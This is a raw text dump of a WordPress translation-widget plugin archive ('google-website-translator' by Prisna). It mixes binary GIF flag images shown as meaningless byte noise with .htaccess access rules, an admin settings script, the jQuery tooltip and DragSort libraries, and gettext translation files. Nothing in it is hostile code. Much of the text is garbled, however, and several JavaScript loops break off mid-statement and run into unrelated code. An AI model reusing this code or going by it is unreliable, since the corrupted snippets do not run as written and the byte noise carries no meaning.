kUfž-C&¤”_hJ©œˆ~ÕZÏÖ,SÉb€^Ñc­uýC )åç^˜ô†ˆ~×ZŸ/j¬”ò€çã 興~)zôQ2ˆˆÒ(ŠeY6iÚ¹àYùvÊͱ···“¦é Rð§bè8ö÷÷O@­V Nóóóp]+++Ç;;;œ$É=óvêŽã `mm ‹‹‹§Ôxž)åA3Š8/‹:1ÝÌËÛÌ˨**ª..¨/.©33¨=;ñèèîååîææëääú÷÷÷ôôþýýýüüüûûûúúø÷÷þþþýýýüüüûûûúúúùùùÿÿÿ!ùË,ÿ—H° Aƒ*\XÌ`°_U†æ%0‰‹ L˜®(LŒxMWŠdH€Vz¡ƒF|RºÎ¾^ŠeB AIF0a7?lEFqLMySMvS[`g‰lr“w‰§HEH J F M J @NMONJOBL0e7?rEM|S[†`[…`gŽlq—vr–v‰¨ B?pDGvLGuKƒ¢†‰¦ŒE G IMMUZ Y "Z&*c.1e50c40a4@oCMyPNzQY&W(+^.0c3IN== C B GO?k?MvM[[gˆgrr‰¥‰“°“}}±Ã±2e0GtEX…V“°’0a{›m/bR{7‰¥a[‚Y ¶T’©¨»Iœ°¾ÉF»ÃÚß}ÁÆÛÙ7ÕÕÍÓÎàÝ`®¥ÛÓRȼ˜¾´B˜‹Š2°¦B¦¡m`W50pkNKH?ìÖÔìggãããáááÛÛÛÙÙÙÖÖÖÐÐÐ^^^PPP@@@???:::666222000...)))###"""ÿÿÿ!ùÕ,ÿ«±ió‡Ò(\Èpa5%PÒ¼‰¤CÃ^2jܘ‘(7OΠÄc—$L˜a¥„*,˜eJ“3fI…W@ƒ¥­Uš”!ãhˆ 8˜JÕɈÝjŠÉ’1~íøE¶lY_À”;– )KIĬaä‡Ý»v}ô`fl™_Y¨8! fϠÈ÷áÓìÙ´i¸^ÊÆ‹:s2kÎŒG³hÔl¹ ÕÅH-Šêع¨õ×yô@“VK•§"W¬ÈI4I˜ïß¿ƒ Ó«Ô&,T¨ Z$)„%J˜0q¢:ЬFÅ!2eÊ¡J98ˆ>`ñ¢¼ùò5l|:"% C—n€XÑâ¼ý4¾pÙB¨&¼ À8` ÕT¡F 8t0‚ 0D(á„V;PK/—[2©Õ55,google-website-translator/images/Yiddish.gifnu„[µü¤GIF89aæÿÿÿýýþåìöGœG›HœP¡K–L—R¡N™O™?p±Br³Fv´gŽÃr—Çq–Ær–ÆwšÉÒÞîéï÷Bt³^‹À¢Ì‚£Í†¨ÐŒ¬ÒßèóK¹L€ºPƒ»Qƒ¼U…½[ŠÀbÃh“Åk–Æn˜ÇršÈr›ÈtÉvʤ΂¦ÏޝӖ´×š·ØŸ»Û¹Íä¿ÑæÕáîåìôüüüûûûùùùøøøöööôôôóóóñññîîîíííÿÿÿ!ù@,’€@ƒ„…††‚‡Š‹‘”  ¡¢£¡6‹4©67©©78‡+),-(+5‡89Š1'*0Š9:Š/#ƒ$.Š:;‡!%& ‡;<©"©<=©32©= îïðñï øøúùûþøHE0€ ?*\È!@;PK/—[í·àá„„+google-website-translator/images/Yoruba.gifnu„[µü¤GIF89aÕÿÿÿLžp~>?€Ax=x=‚CƒEz@„F„G}C}D†I†JG†K€H#‰N!K%‹Q#‚L%…N)ŒT(†P*ˆR-ŠT.ŒV1Y4Z7“^6]9’_=•b<“a@˜e@—fE›iEšiF›kHlHœlL pLŸoO¡rT¥vS£u`ª€l±‰p³v¶‘w¶’†¾žÂ¤Eœic¬|¹•íííÿÿÿ!ù<,¡@kH F"‘׺9ŸHäóéZÙj4,-z¬ii6ÁI'+—¹FsY§2Íbp8:‡ÏP£l¿Ÿó÷9%"/8……s†…/$) s)! ™™sš™ ££s¤£­­s®­··s¸·ÁÁsÂÁ ËËsÌË  ÔÕsÕÕ <Ü;áâáÜÝÞxMGvLçGIæGLçGLêGJpkNMvMMvSçIOMyPMySR{7F|RNzQM|SYH€V[‚[`[[X…Vws¯[…`[†`í[_í[`zv¹WŠdŠ2^Šegˆgï`cg‰lgŽlìggëgjìgk˜‹˜ïkprr}}r“wëqríqvr–vírvírwq—vîw{{›mz¡ƒƒ¢†ï‚†’©‰¥a®¥‰¥‰‰¦Œ¦¡m‰§ð‰‰¨°¦Bœ°÷ŠŽô‘““°’“°“ ¶T“¶«ªÐ¡²¨ù™Ÿ¾´B­¬È¨»I¦³ªû›ŸÈ¼»ÃÁưÁ·¾ÉF±Ã±ÓμÂкξ»ÑÂÛÓRÛÙ7ÐÐÐùÅÇÕÕÍàÝ`ÖÖÖÚß}øÐÑÙÙÙìÖÔÛÛÛáááãããÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿ­IƒX­7lÜ(\Èpá¿3¨T•"E¬™«S©2jܘq®O•6aš$ëY+Kš2iÒtie¦K—@µYŬÓ"FŒyJ¦«‘£G@ƒådF‡)e¢úäÑ0dŠšJ•$2-¾À)KN Order Allow,Deny Deny from all PK/—[ðÄ»2A!A!3google-website-translator/javascript/admin.class.jsnu„[µü¤var PrisnaGWTAdmin = { _tabs: { general: null, advanced: null }, _form: null, _action: null, _buttons: {}, _visual: {}, _headings: {}, _fields: { general: {}, advanced: {} }, initialize: function() { if (typeof PrisnaGWTCommon == "undefined") { setTimeout(function() { PrisnaGWTAdmin.initialize(); }, 200); return; } PrisnaGWTAdmin._initialize_elements(); PrisnaGWTAdmin._initialize_tooltips(); PrisnaGWTAdmin._initialize_headings(); PrisnaGWTAdmin._initialize_visual_fields(); PrisnaGWTAdmin._initialize_languages(); PrisnaGWTAdmin._initialize_tabs(); PrisnaGWTAdmin._initialize_dependences(); PrisnaGWTCommon.clickSelected("#section_prisna_style_inline"); }, _initialize_tabs: function() { jQuery(".prisna_gwt_ui_tab_unselected").removeClass("prisna_gwt_hidden_important"); this._tabs.general = new PrisnaGWTCommon.Tabs(); this._tabs.general.registerTab("general", PrisnaGWTAdmin._on_tab_change); this._tabs.general.registerTab("advanced", PrisnaGWTAdmin._on_tab_change); this._tabs.general.registerTab("premium", PrisnaGWTAdmin._on_tab_change); this._on_tab_change(this._tabs.general.getSelected()); this._tabs.advanced = new PrisnaGWTCommon.Tabs(2); this._tabs.advanced.registerTab("advanced_general"); this._tabs.advanced.registerTab("advanced_import_export"); }, _on_tab_change: function(_param) { PrisnaGWTAdmin._show_buttons(_param != "premium"); }, _show_buttons: function(_state) { if (_state) { this._buttons.save.show(); this._buttons.reset.show(); } else { this._buttons.save.hide(); this._buttons.reset.hide(); } }, _initialize_elements: function() { this._form = PrisnaGWTCommon.$("prisna_admin"); this._action = PrisnaGWTCommon.$("prisna_gwt_admin_action"); this._fields.general.all_languages = jQuery("#section_prisna_all_languages input"); this._fields.general.display_mode = jQuery("#prisna_display_mode"); this._fields.general.style_inline = jQuery("#section_prisna_style_inline input"); this._fields.general.show_flags = jQuery("#section_prisna_show_flags input"); this._fields.general.languages = jQuery("#section_prisna_languages input"); this._fields.advanced.google_analytics = jQuery("#prisna_google_analytics input"); this._buttons.save = jQuery(".button-primary"); this._buttons.reset = jQuery(".reset-settings"); }, _initialize_dependences: function() { PrisnaGWTCommon.Dependencies.add(this._fields.general.all_languages, "click", function() { PrisnaGWTAdmin.showSection("section_prisna_available_languages", this.value != "true"); }); PrisnaGWTCommon.Dependencies.add(this._fields.general.display_mode, "change", function() { PrisnaGWTAdmin.showSection("section_prisna_style_inline", this.value == "inline"); PrisnaGWTAdmin.showSection("section_prisna_style_tabbed", this.value == "tabbed"); PrisnaGWTAdmin.showSection("section_prisna_align_mode", this.value == "inline"); PrisnaGWTAdmin.showSection("section_prisna_show_flags", this.value == "inline"); var show_flags = this.value == "inline" && PrisnaGWTCommon.getFieldValue("#section_prisna_show_flags") == "true" && PrisnaGWTCommon.getFieldValue("#section_prisna_style_inline") != "dropdown"; PrisnaGWTAdmin.showSection("section_prisna_languages", show_flags); PrisnaGWTAdmin.showSection("section_prisna_languages_order", show_flags); }); PrisnaGWTCommon.Dependencies.add(this._fields.general.style_inline, "click", function() { var display_mode = PrisnaGWTCommon.getFieldValue("#section_prisna_display_mode"); var show_flags = PrisnaGWTCommon.getFieldValue("#section_prisna_show_flags"); PrisnaGWTAdmin.showSection("section_prisna_show_flags", display_mode == "inline" && this.value != "dropdown"); PrisnaGWTAdmin.showSection("section_prisna_languages", display_mode == "inline" && this.value != "dropdown" && show_flags == "true"); PrisnaGWTAdmin.showSection("section_prisna_languages_order", display_mode == "inline" && this.value != "dropdown" && show_flags == "true"); }); PrisnaGWTCommon.Dependencies.add(this._fields.general.show_flags, "click", function() { var show_languages = PrisnaGWTCommon.getFieldValue("#section_prisna_display_mode") == "inline" && this.value == "true"; PrisnaGWTAdmin.showSection("section_prisna_languages", show_languages); PrisnaGWTAdmin.showSection("section_prisna_languages_order", show_languages); }); PrisnaGWTCommon.Dependencies.add(this._fields.advanced.google_analytics, "click", function() { var heading = PrisnaGWTCommon.getHeadingObject(this, PrisnaGWTAdmin._headings); PrisnaGWTAdmin.showSection("section_prisna_google_analytics_code", this.value == "true" && heading.isShowing()); }); }, _initialize_headings: function() { var headings = jQuery(".prisna_gwt_heading"); for (var i=0; i', dragEnd: this._languages_order_update }); this._fields.general.languages.click(function() { PrisnaGWTAdmin._languages_update(this); }); }, adjustPost: function(_event, _element) { if (event.which == 13 || event.keyCode == 13) return false; if (!_element) return true; var target = PrisnaGWTCommon.$(_element.id + "_post"); var ini = _element.value.indexOf("?") != -1 ? "&" : "?"; target.innerHTML = target.innerHTML.replace(/^(\?|\&\;)/, ini); return true; }, setLanguageLite: function(_data) { var select = this._fields.translations.languages.get(0); select.options.length = 0; var data = [{ text: '', value: '' }]; for (var i in _data) data.push({ text: i, value: _data[i].file }); for(var i=0; i < data.length; i++) select.options.add(new Option(data[i].text, data[i].value)); }, _languages_update: function(_checkbox) { if (_checkbox.checked) { var container = jQuery(_checkbox).parents(".prisna_gwt_language_item"); var item = container.find(".prisna_gwt_language_order_item").clone(false); item.attr("id", "prisna_gwt_language_order_item_" + _checkbox.value); var sorter = jQuery("#section_prisna_languages_order ul.prisna_gwt_language_order_group"); sorter.append(item); } else jQuery("#prisna_gwt_language_order_item_" + _checkbox.value).remove(); this._languages_order_update(); }, _languages_order_update: function() { var result = []; var target = jQuery("#prisna_languages_order"); var items = jQuery("#section_prisna_languages_order ul.prisna_gwt_language_order_group input"); for (var i=0; i 0) for (var i=0; i 0) { for (var i=0; i 0) return fields[0].value; } return false; }, getOwner: function(e) { return e.srcElement || e.target; }, trim: function(_string) { return this != window ? _string.replace(/^\s*|\s*$/g,"") : null; }, startsWith: function(_string, substr) { if (this == window) return null; return _string.substring(0, substr.length) == substr; }, endsWith: function(_string, substr) { if (this == window) return null; return _string.length >= substr.length && _string.substring(_string.length - substr.length) == substr; }, inArray: function(_value, _array, _property) { if (!(_array instanceof Array)) _array = _array.split(","); for (var i=0; i<_array.length; i++) { if (_array[i] instanceof Object) { if (_array[i][_property] == _value) return i; } else if (_array[i] == _value) return i; } return false; }, getHeadingContainer: function(_item) { var section = jQuery(_item).parents(".prisna_gwt_section"); var heading = section.prevUntil(".prisna_gwt_heading"); var result = heading.length > 0 ? jQuery(heading[heading.length-1]) : section; return result.prev(); }, getHeadingObject: function(_item, _headings) { var heading_container = this.getHeadingContainer(_item); var heading_id = heading_container.attr("id"); return _headings[heading_id]; } }; PrisnaGWTCommon.Dependencies = { _targets: {}, _record: function(_target) { var foo = _target[0]; var section = jQuery(foo).parents(".prisna_gwt_section"); this._targets[section.attr("id")] = _target; }, simulate: function(_section) { var section_id = _section.id; var type; if (typeof this._targets[section_id] != "object") return false; if (PrisnaGWTCommon.CSS.hasClass(_section, "prisna_gwt_toggle")) type = "toggle"; switch (type) { case "toggle": { for (var i=0; i", tipClass: "tooltip" }, addEffect: function(a, c, d) { b[a] = [c, d] } }; var b = { toggle: [function(a) { var b = this.getConf(), c = this.getTip(), d = b.opacity; d < 1 && c.css({ opacity: d }), c.show(), a.call() }, function(a) { this.getTip().hide(), a.call() }], fade: [function(b) { var c = this.getConf(); !a.browser.msie || c.fadeIE ? this.getTip().fadeTo(c.fadeInSpeed, c.opacity, b) : (this.getTip().show(), b()) }, function(b) { var c = this.getConf(); !a.browser.msie || c.fadeIE ? this.getTip().fadeOut(c.fadeOutSpeed, b) : (this.getTip().hide(), b()) }] }; function c(b, c, d) { var e = d.relative ? b.position().top : b.offset().top, f = d.relative ? b.position().left : b.offset().left, g = d.position[0]; e -= c.outerHeight() - d.offset[0], f += b.outerWidth() + d.offset[1], /iPad/i.test(navigator.userAgent) && (e -= a(window).scrollTop()); var h = c.outerHeight() + b.outerHeight(); g == "center" && (e += h / 2), g == "bottom" && (e += h), g = d.position[1]; var i = c.outerWidth() + b.outerWidth(); g == "center" && (f -= i / 2), g == "left" && (f -= i); return { top: e, left: f } } function d(d, e) { var f = this, g = d.add(f), h, i = 0, j = 0, k = d.attr("title"), l = d.attr("data-tooltip"), m = b[e.effect], n, o = d.is(":input"), p = o && d.is(":checkbox, :radio, select, :button, :submit"), q = d.attr("type"), r = e.events[q] || e.events[o ? p ? "widget" : "input" : "def"]; if (!m) throw "Nonexistent effect \"" + e.effect + "\""; r = r.split(/,\s*/); if (r.length != 2) throw "Tooltip: bad events configuration for " + q; d.bind(r[0], function(a) { clearTimeout(i), e.predelay ? j = setTimeout(function() { f.show(a) }, e.predelay) : f.show(a) }).bind(r[1], function(a) { clearTimeout(j), e.delay ? i = setTimeout(function() { f.hide(a) }, e.delay) : f.hide(a) }), k && e.cancelDefault && (d.removeAttr("title"), d.data("title", k)), a.extend(f, { show: function(b) { if (!h) { l ? h = a(l) : e.tip ? h = a(e.tip).eq(0) : k ? h = a(e.layout).addClass(e.tipClass).appendTo(document.body).hide().append(k) : (h = d.next(), h.length || (h = d.parent().next())); if (!h.length) throw "Cannot find tooltip for " + d } if (f.isShown()) return f; h.stop(!0, !0); var o = c(d, h, e); e.tip && h.html(d.data("title")), b = a.Event(), b.type = "onBeforeShow", g.trigger(b, [o]); if (b.isDefaultPrevented()) return f; o = c(d, h, e), h.css({ position: "absolute", top: o.top, left: o.left }), n = !0, m[0].call(f, function() { b.type = "onShow", n = "full", g.trigger(b) }); var p = e.events.tooltip.split(/,\s*/); h.data("__set") || (h.unbind(p[0]).bind(p[0], function() { clearTimeout(i), clearTimeout(j) }), p[1] && !d.is("input:not(:checkbox, :radio), textarea") && h.unbind(p[1]).bind(p[1], function(a) { a.relatedTarget != d[0] && d.trigger(r[1].split(" ")[0]) }), e.tip || h.data("__set", !0)); return f }, hide: function(c) { if (!h || !f.isShown()) return f; c = a.Event(), c.type = "onBeforeHide", g.trigger(c); if (!c.isDefaultPrevented()) { n = !1, b[e.effect][1].call(f, function() { c.type = "onHide", g.trigger(c) }); return f } }, isShown: function(a) { return a ? n == "full" : n }, getConf: function() { return e }, getTip: function() { return h }, getTrigger: function() { return d } }), a.each("onHide,onBeforeShow,onShow,onBeforeHide".split(","), function(b, c) { a.isFunction(e[c]) && a(f).bind(c, e[c]), f[c] = function(b) { b && a(f).bind(c, b); return f } }) } a.fn.tooltip = function(b) { var c = this.data("tooltip"); if (c) return c; b = a.extend(!0, {}, a.tools.tooltip.conf, b), typeof b.position == "string" && (b.position = b.position.split(/,?\s/)), this.each(function() { c = new d(a(this), b), a(this).data("tooltip", c) }); return b.api ? c : this } })(jQuery); (function(a) { var b = a.tools.tooltip; b.dynamic = { conf: { classNames: "top right bottom left" } }; function c(b) { var c = a(window), d = c.width() + c.scrollLeft(), e = c.height() + c.scrollTop(); return [b.offset().top <= c.scrollTop(), d <= b.offset().left + b.width(), e <= b.offset().top + b.height(), c.scrollLeft() >= b.offset().left] } function d(a) { var b = a.length; while (b--) if (a[b]) return !1; return !0 } a.fn.dynamic = function(e) { typeof e == "number" && (e = { speed: e }), e = a.extend({}, b.dynamic.conf, e); var f = e.classNames.split(/\s/), g; this.each(function() { var b = a(this).tooltip().onBeforeShow(function(b, h) { var i = this.getTip(), j = this.getConf(); g || (g = [j.position[0], j.position[1], j.offset[0], j.offset[1], a.extend({}, j)]), a.extend(j, g[4]), j.position = [g[0], g[1]], j.offset = [g[2], g[3]], i.css({ visibility: "hidden", position: "absolute", top: h.top, left: h.left }).show(); var k = c(i); if (!d(k)) { k[2] && (a.extend(j, e.top), j.position[0] = "top", i.addClass(f[0])), k[3] && (a.extend(j, e.right), j.position[1] = "right", i.addClass(f[1])), k[0] && (a.extend(j, e.bottom), j.position[0] = "bottom", i.addClass(f[2])), k[1] && (a.extend(j, e.left), j.position[1] = "left", i.addClass(f[3])); if (k[0] || k[2]) j.offset[0] *= -1; if (k[1] || k[3]) j.offset[1] *= -1 } i.css({ visibility: "visible" }).hide() }); b.onBeforeShow(function() { var a = this.getConf(), b = this.getTip(); setTimeout(function() { a.position = [g[0], g[1]], a.offset = [g[2], g[3]] }, 0) }), b.onHide(function() { var a = this.getTip(); a.removeClass(e.classNames) }), ret = b }); return e.api ? ret : this } })(jQuery); (function(a) { var b = a.tools.tooltip; a.extend(b.conf, { direction: "up", bounce: !1, slideOffset: 10, slideInSpeed: 200, slideOutSpeed: 200, slideFade: !a.browser.msie }); var c = { up: ["-", "top"], down: ["+", "top"], left: ["-", "left"], right: ["+", "left"] }; b.addEffect("slide", function(a) { var b = this.getConf(), d = this.getTip(), e = b.slideFade ? { opacity: b.opacity } : {}, f = c[b.direction] || c.up; e[f[1]] = f[0] + "=" + b.slideOffset, b.slideFade && d.css({ opacity: 0 }), d.show().animate(e, b.slideInSpeed, a) }, function(b) { var d = this.getConf(), e = d.slideOffset, f = d.slideFade ? { opacity: 0 } : {}, g = c[d.direction] || c.up, h = "" + g[0]; d.bounce && (h = h == "+" ? "-" : "+"), f[g[1]] = h + "=" + e, this.getTip().animate(f, d.slideOutSpeed, function() { a(this).hide(), b.call() }) }) })(jQuery); // jQuery List DragSort v0.4.3 // License: http://dragsort.codeplex.com/license (function(b) { b.fn.dragsort = function(k) { var d = b.extend({}, b.fn.dragsort.defaults, k), g = [], a = null, j = null; this.selector && b("head").append(""); this.each(function(k, i) { b(i).is("table") && b(i).children().size() == 1 && b(i).children().is("tbody") && (i = b(i).children().get(0)); var m = { draggedItem: null, placeHolderItem: null, pos: null, offset: null, offsetLimit: null, scroll: null, container: i, init: function() { b(this.container).attr("data-listIdx", k).mousedown(this.grabItem).find(d.dragSelector).css("cursor", "move"); b(this.container).children(d.itemSelector).each(function(a) { b(this).attr("data-itemIdx", a) }) }, grabItem: function(e) { if (!(e.which != 1 || b(e.target).is(d.dragSelectorExclude))) { for (var c = e.target; !b(c).is("[data-listIdx='" + b(this).attr("data-listIdx") + "'] " + d.dragSelector);) { if (c == this) return; c = c.parentNode } a != null && a.draggedItem != null && a.dropItem(); b(e.target).css("cursor", "move"); a = g[b(this).attr("data-listIdx")]; a.draggedItem = b(c).closest(d.itemSelector); var c = parseInt(a.draggedItem.css("marginTop")), f = parseInt(a.draggedItem.css("marginLeft")); a.offset = a.draggedItem.offset(); a.offset.top = e.pageY - a.offset.top + (isNaN(c) ? 0 : c) - 1; a.offset.left = e.pageX - a.offset.left + (isNaN(f) ? 0 : f) - 1; if (!d.dragBetween) c = b(a.container).outerHeight() == 0 ? Math.max(1, Math.round(0.5 + b(a.container).children(d.itemSelector).size() * a.draggedItem.outerWidth() / b(a.container).outerWidth())) * a.draggedItem.outerHeight() : b(a.container).outerHeight(), a.offsetLimit = b(a.container).offset(), a.offsetLimit.right = a.offsetLimit.left + b(a.container).outerWidth() - a.draggedItem.outerWidth(), a.offsetLimit.bottom = a.offsetLimit.top + c - a.draggedItem.outerHeight(); var c = a.draggedItem.height(), f = a.draggedItem.width(), h = a.draggedItem.attr("style"); if (jQuery.browser.msie) f = f + 2; a.draggedItem.attr("data-origStyle", h ? h : ""); d.itemSelector == "tr" ? (a.draggedItem.children().each(function() { b(this).width(b(this).width()) }), a.placeHolderItem = a.draggedItem.clone().attr("data-placeHolder", !0), a.draggedItem.after(a.placeHolderItem), a.placeHolderItem.children().each(function() { b(this).css({ borderWidth: 0, width: b(this).width() + 1, height: b(this).height() + 1 }).html(" ") })) : (a.draggedItem.after(d.placeHolderTemplate), a.placeHolderItem = a.draggedItem.next().css({ height: c, width: f }).attr("data-placeHolder", !0)); a.draggedItem.css({ position: "absolute", opacity: 0.8, "z-index": 999, height: c, width: f }); b(g).each(function(a, b) { b.createDropTargets(); b.buildPositionTable() }); a.scroll = { moveX: 0, moveY: 0, maxX: b(document).width() - b(window).width(), maxY: b(document).height() - b(window).height() }; a.scroll.scrollY = window.setInterval(function() { if (d.scrollContainer != window) b(d.scrollContainer).scrollTop(b(d.scrollContainer).scrollTop() + a.scroll.moveY); else { var c = b(d.scrollContainer).scrollTop(); if (a.scroll.moveY > 0 && c < a.scroll.maxY || a.scroll.moveY < 0 && c > 0) b(d.scrollContainer).scrollTop(c + a.scroll.moveY), a.draggedItem.css("top", a.draggedItem.offset().top + a.scroll.moveY + 1) } }, 10); a.scroll.scrollX = window.setInterval(function() { if (d.scrollContainer != window) b(d.scrollContainer).scrollLeft(b(d.scrollContainer).scrollLeft() + a.scroll.moveX); else { var c = b(d.scrollContainer).scrollLeft(); if (a.scroll.moveX > 0 && c < a.scroll.maxX || a.scroll.moveX < 0 && c > 0) b(d.scrollContainer).scrollLeft(c + a.scroll.moveX), a.draggedItem.css("left", a.draggedItem.offset().left + a.scroll.moveX + 1) } }, 10); a.setPos(e.pageX, e.pageY); b(document).bind("selectstart", a.stopBubble); b(document).bind("mousemove", a.swapItems); b(document).bind("mouseup", a.dropItem); d.scrollContainer != window && b(window).bind("DOMMouseScroll mousewheel", a.wheel); return !1 } }, setPos: function(e, c) { var f = c - this.offset.top, h = e - this.offset.left; d.dragBetween || (f = Math.min(this.offsetLimit.bottom, Math.max(f, this.offsetLimit.top)), h = Math.min(this.offsetLimit.right, Math.max(h, this.offsetLimit.left))); this.draggedItem.parents().each(function() { if (b(this).css("position") != "static" && (!b.browser.mozilla || b(this).css("display") != "table")) { var a = b(this).offset(); f -= a.top; h -= a.left; return !1 } }); if (d.scrollContainer == window) c -= b(window).scrollTop(), e -= b(window).scrollLeft(), c = Math.max(0, c - b(window).height() + 5) + Math.min(0, c - 5), e = Math.max(0, e - b(window).width() + 5) + Math.min(0, e - 5); else var l = b(d.scrollContainer), g = l.offset(), c = Math.max(0, c - l.height() - g.top) + Math.min(0, c - g.top), e = Math.max(0, e - l.width() - g.left) + Math.min(0, e - g.left); a.scroll.moveX = e == 0 ? 0 : e * d.scrollSpeed / Math.abs(e); a.scroll.moveY = c == 0 ? 0 : c * d.scrollSpeed / Math.abs(c); this.draggedItem.css({ top: f, left: h }) }, wheel: function(e) { if ((b.browser.safari || b.browser.mozilla) && a && d.scrollContainer != window) { var c = b(d.scrollContainer), f = c.offset(); e.pageX > f.left && e.pageX < f.left + c.width() && e.pageY > f.top && e.pageY < f.top + c.height() && (f = e.detail ? e.detail * 5 : e.wheelDelta / -2, c.scrollTop(c.scrollTop() + f), e.preventDefault()) } }, buildPositionTable: function() { var a = this.draggedItem == null ? null : this.draggedItem.get(0), c = []; b(this.container).children(d.itemSelector).each(function(d, h) { if (h != a) { var g = b(h).offset(); g.right = g.left + b(h).width(); g.bottom = g.top + b(h).height(); g.elm = h; c.push(g) } }); this.pos = c }, dropItem: function() { if (a.draggedItem != null) { b(a.container).find(d.dragSelector).css("cursor", "move"); a.placeHolderItem.before(a.draggedItem); var e = a.draggedItem.attr("data-origStyle"); a.draggedItem.attr("style", e); e == "" && a.draggedItem.removeAttr("style"); a.draggedItem.removeAttr("data-origStyle"); a.placeHolderItem.remove(); b("[data-dropTarget]").remove(); window.clearInterval(a.scroll.scrollY); window.clearInterval(a.scroll.scrollX); var c = !1; b(g).each(function() { b(this.container).children(d.itemSelector).each(function(a) { parseInt(b(this).attr("data-itemIdx")) != a && (c = !0, b(this).attr("data-itemIdx", a)) }) }); c && d.dragEnd.apply(a.draggedItem); a.draggedItem = null; b(document).unbind("selectstart", a.stopBubble); b(document).unbind("mousemove", a.swapItems); b(document).unbind("mouseup", a.dropItem); d.scrollContainer != window && b(window).unbind("DOMMouseScroll mousewheel", a.wheel); return !1 } }, stopBubble: function() { return !1 }, swapItems: function(e) { if (a.draggedItem == null) return !1; a.setPos(e.pageX, e.pageY); for (var c = a.findPos(e.pageX, e.pageY), f = a, h = 0; c == -1 && d.dragBetween && h < g.length; h++) c = g[h].findPos(e.pageX, e.pageY), f = g[h]; if (c == -1 || b(f.pos[c].elm).attr("data-placeHolder")) return !1; j == null || j.top > a.draggedItem.offset().top || j.left > a.draggedItem.offset().left ? b(f.pos[c].elm).before(a.placeHolderItem) : b(f.pos[c].elm).after(a.placeHolderItem); b(g).each(function(a, b) { b.createDropTargets(); b.buildPositionTable() }); j = a.draggedItem.offset(); return !1 }, findPos: function(a, b) { for (var d = 0; d < this.pos.length; d++) if (this.pos[d].left < a && this.pos[d].right > a && this.pos[d].top < b && this.pos[d].bottom > b) return d; return -1 }, createDropTargets: function() { d.dragBetween && b(g).each(function() { var d = b(this.container).find("[data-placeHolder]"), c = b(this.container).find("[data-dropTarget]"); d.size() > 0 && c.size() > 0 ? c.remove() : d.size() == 0 && c.size() == 0 && (b(this.container).append(a.placeHolderItem.removeAttr("data-placeHolder").clone().attr("data-dropTarget", !0)), a.placeHolderItem.attr("data-placeHolder", !0)) }) } }; m.init(); g.push(m) }); return this }; b.fn.dragsort.defaults = { itemSelector: "li", dragSelector: "li", dragSelectorExclude: "input, textarea, a[href]", dragEnd: function() {}, dragBetween: !1, placeHolderTemplate: "
    •  
    • ", scrollContainer: window, scrollSpeed: 5 } })(jQuery);PK/—[³yd«cc.google-website-translator/javascript/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[ÚÉÕ))7google-website-translator/languages/prisna-gwt-en_US.monu„[µü¤Þ•$,8ï9Project-Id-Version: Prisna GWT Report-Msgid-Bugs-To: POT-Creation-Date: 2015-12-10 20:58+0300 PO-Revision-Date: Last-Translator: Prisna Language-Team: Language: English MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: UTF-8 X-Poedit-Basepath: /home/fede/http/dev.surstudio.net/wp-new/wp-content/plugins/google-website-translator X-Generator: Poedit 1.5.4 X-Poedit-KeywordsList: __ X-Poedit-SearchPath-0: . PK/—[&2òo&o&7google-website-translator/languages/prisna-gwt-en_US.ponu„[µü¤msgid "" msgstr "" "Project-Id-Version: Prisna GWT\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2017-09-20 08:00+0800\n" "PO-Revision-Date: \n" "Last-Translator: Prisna\n" "Language-Team: \n" "Language: English\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: /www/site/wp-content/" "plugins/google-website-translator\n" "X-Generator: Poedit 1.5.4\n" "X-Poedit-KeywordsList: __\n" "X-Poedit-SearchPath-0: .\n" #: classes/config.class.php:120 msgid "No settings to export. The current settings are the default ones." msgstr "" #: classes/config.class.php:173 msgid "Usage" msgstr "" #: classes/config.class.php:177 #, php-format msgid "" "\n" "\t\t\t\t\n" "\t\t\t\t- Go to the Appereance > Widgets panel, search for the " "following widget

      \n" "\t\t\t\t\n" "\t\t\t\t%s

      \n" "\t\t\t\t\n" "\t\t\t\t- Or copy and paste the following code into pages, posts, etc...

      \n" "\t\t\t\t\n" "\t\t\t\t[prisna-google-website-translator]

      \n" "\t\t\t\t\n" "\t\t\t\t- Or copy and paste the following code into any page, post or front " "end PHP file

      \n" "\t\t\t\t\n" "\t\t\t\t<?php echo do_shortcode('[prisna-google-website-" "translator]'); ?>
      \n" "\t\t\t\t\n" "\t\t\t\t" msgstr "" #: classes/config.class.php:191 msgid "" "\n" "\t\t\t\t\n" "\t\t\t\tThe selected Display mode doesn't require any further " "action.
      \n" "\t\t\t\tThe plugin is already active in your website. \n" "\t\t\t\t\n" "\t\t\t\t" msgstr "" #: classes/config.class.php:210 msgid "Website's language" msgstr "" #: classes/config.class.php:211 msgid "Sets the website's source language." msgstr "" #: classes/config.class.php:221 msgid "Translation languages" msgstr "" #: classes/config.class.php:222 msgid "Sets the available languages." msgstr "" #: classes/config.class.php:227 msgid "Yes, use all languages" msgstr "" #: classes/config.class.php:228 msgid "No, choose languages" msgstr "" #: classes/config.class.php:234 msgid "Specific languages" msgstr "" #: classes/config.class.php:235 msgid "Specifically sets the available languages." msgstr "" #: classes/config.class.php:248 msgid "Display mode" msgstr "" #: classes/config.class.php:249 msgid "" "Sets the display mode. When Automatic is selected, the " "translation banner will automatically be displayed when the default browser " "language of the visitor is different from the language of your page. No " "dropdown will be displayed." msgstr "" #: classes/config.class.php:253 msgid "Inline" msgstr "" #: classes/config.class.php:254 msgid "Tabbed" msgstr "" #: classes/config.class.php:255 classes/common.class.php:850 msgid "Automatic" msgstr "" #: classes/config.class.php:262 classes/config.class.php:278 msgid "Style mode" msgstr "" #: classes/config.class.php:295 msgid "Align mode" msgstr "" #: classes/config.class.php:296 msgid "Sets the alignment mode of the translator within its container." msgstr "" #: classes/config.class.php:301 msgid "Left" msgstr "" #: classes/config.class.php:302 